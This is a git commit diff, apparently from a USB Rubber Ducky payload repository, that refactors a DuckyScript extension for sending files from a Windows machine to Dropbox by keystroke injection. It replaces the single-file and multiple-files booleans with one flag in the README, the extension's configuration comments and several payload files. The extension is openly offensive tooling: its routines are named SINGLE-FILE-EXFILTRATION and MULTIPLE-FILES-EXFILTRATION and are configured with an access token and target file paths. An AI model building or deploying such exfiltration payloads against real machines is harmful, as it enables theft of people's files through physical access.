Update based on dallaswinger's notes

[+] Added a Flag instead of the two variables
[+] Extensioe renamed appropriately
pull/399/head
Aleff 2024-01-04 14:18:29 +01:00
parent b6dd290d32
commit 8541e25796
5 changed files with 37 additions and 36 deletions

View File

@ -9,21 +9,21 @@ How many files do you want to exfiltrate?
| |
| |-- Do you already know the full file path? (e.g., C:\Users\Aleff\Downloads\photo.png)
| | |
| | |-- Use the #SINGLE-FILE version
| | |-- Use the SINGLE-FILE version
| | | |
| | | |-- Set #SINGLE-FILE to TRUE
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
| | | |-- Define the file path in #SINGLE-PATH
| | |
| |-- Don't know the full path but can obtain it at runtime through PowerShell?
| | |
| | |-- Use the $dropboxFilePath variable
| | | |
| | | |-- Set #SINGLE-FILE to TRUE
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
| | | |-- Obtain the file path through PowerShell and assign it to $dropboxFilePath
|
|-- Multiple Files
| |
| |-- Set the #MULTIPLE-FILES variable to TRUE
| |-- Set the #FLAG-SINGLE-FILE variable to FALSE
| | |
| | |-- Use an array of strings named $dropboxFilePaths to collect the paths of all the files you want to use
@ -59,13 +59,13 @@ You can choose to send a single file or multiple files. Configure the extension
#### Single File Configuration
- **Variable**: #SINGLE-FILE
- **Variable**: #FLAG-SINGLE-FILE
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #SINGLE-FILE to TRUE if you want to send just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $dropboxFilePath variable.
- **Description**: Set #FLAG-SINGLE-FILE to TRUE if you want to send just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $dropboxFilePath variable.
Example in DuckyScript:
```DuckyScript
DEFINE #SINGLE-FILE TRUE
DEFINE #FLAG-SINGLE-FILE TRUE
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
```
@ -76,9 +76,9 @@ $dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
#### Multiple Files Configuration
- **Variable**: #MULTIPLE-FILES
- **Variable**: #FLAG-SINGLE-FILE
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #MULTIPLE-FILES to TRUE if you want to send multiple files. In this case, in PowerShell, you will have to create the variable $dropboxFilePaths, which is an array of strings containing the list of paths related to the files you want to export.
- **Description**: Set #FLAG-SINGLE-FILE to FALSE if you want to send multiple files. In this case, in PowerShell, you will have to create the variable $dropboxFilePaths, which is an array of strings containing the list of paths related to the files you want to export.
Example in PowerShell before using the extension:
```powershell

View File

@ -15,13 +15,15 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.
Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
Set #FLAG-SINGLE-FILE with TRUE if you want to send just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
Set #MULTIPLE-FILES TRUE if you want to send multiple files. In this case in the PowerShell you will have to create the variable $dropboxFilePaths, which is an array of strings that should contain the list of paths related to the files you want to export.
Set #FLAG-SINGLE-FILE FALSE if you want to send multiple files.
In this case in the PowerShell you will have to create the variable $dropboxFilePaths, which is an array of strings that should contain the list of paths related to the files you want to export.
i.e. in PowerShell before extension:
$dropboxFilePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
@ -42,9 +44,8 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM Settings
DEFINE #DROPBOX_ACCESS_TOKEN 0
DEFINE #SINGLE-FILE FALSE
DEFINE #FLAG-SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
DEFINE #MULTIPLE-FILES FALSE
REM From now don't change anything else.
@ -97,11 +98,11 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
STRINGLN #UPLOAD-URL
IF_DEFINED_TRUE #SINGLE-FILE
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED
IF_DEFINED_TRUE #MULTIPLE-FILES
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED
END_IF

View File

@ -33,9 +33,10 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.
Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
Set #FLAG-SINGLE-FILE with TRUE if you want to send just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
@ -60,9 +61,8 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM Settings
DEFINE #DROPBOX_ACCESS_TOKEN 0
DEFINE #SINGLE-FILE FALSE
DEFINE #FLAG-SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
DEFINE #MULTIPLE-FILES TRUE
REM From now don't change anything else.
@ -114,11 +114,11 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
STRINGLN #UPLOAD-URL
IF_DEFINED_TRUE #SINGLE-FILE
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED
IF_DEFINED_TRUE #MULTIPLE-FILES
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED

View File

@ -26,9 +26,10 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.
Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
Set #FLAG-SINGLE-FILE with TRUE if you want to send just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
@ -52,10 +53,9 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM Settings
DEFINE #DROPBOX_ACCESS_TOKEN my-personale-dropbox-access-token
DEFINE #SINGLE-FILE TRUE
DEFINE #DROPBOX_ACCESS_TOKEN my-personal-dropbox-access-token
DEFINE #FLAG-SINGLE-FILE TRUE
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
DEFINE #MULTIPLE-FILES FALSE
REM From now don't change anything else.
@ -107,11 +107,11 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
STRINGLN #UPLOAD-URL
IF_DEFINED_TRUE #SINGLE-FILE
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED
IF_DEFINED_TRUE #MULTIPLE-FILES
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED
END_IF

View File

@ -33,9 +33,10 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.
Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
Set #FLAG-SINGLE-FILE with TRUE if you want to send just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
@ -59,10 +60,9 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM Settings
DEFINE #DROPBOX_ACCESS_TOKEN my-personale-dropbox-access-token
DEFINE #SINGLE-FILE FALSE
DEFINE #DROPBOX_ACCESS_TOKEN my-personal-dropbox-access-token
DEFINE #FLAG-SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
DEFINE #MULTIPLE-FILES FALSE
REM From now don't change anything else.
@ -114,11 +114,11 @@ EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
STRINGLN #UPLOAD-URL
IF_DEFINED_TRUE #SINGLE-FILE
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED
IF_DEFINED_TRUE #MULTIPLE-FILES
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED
END_IF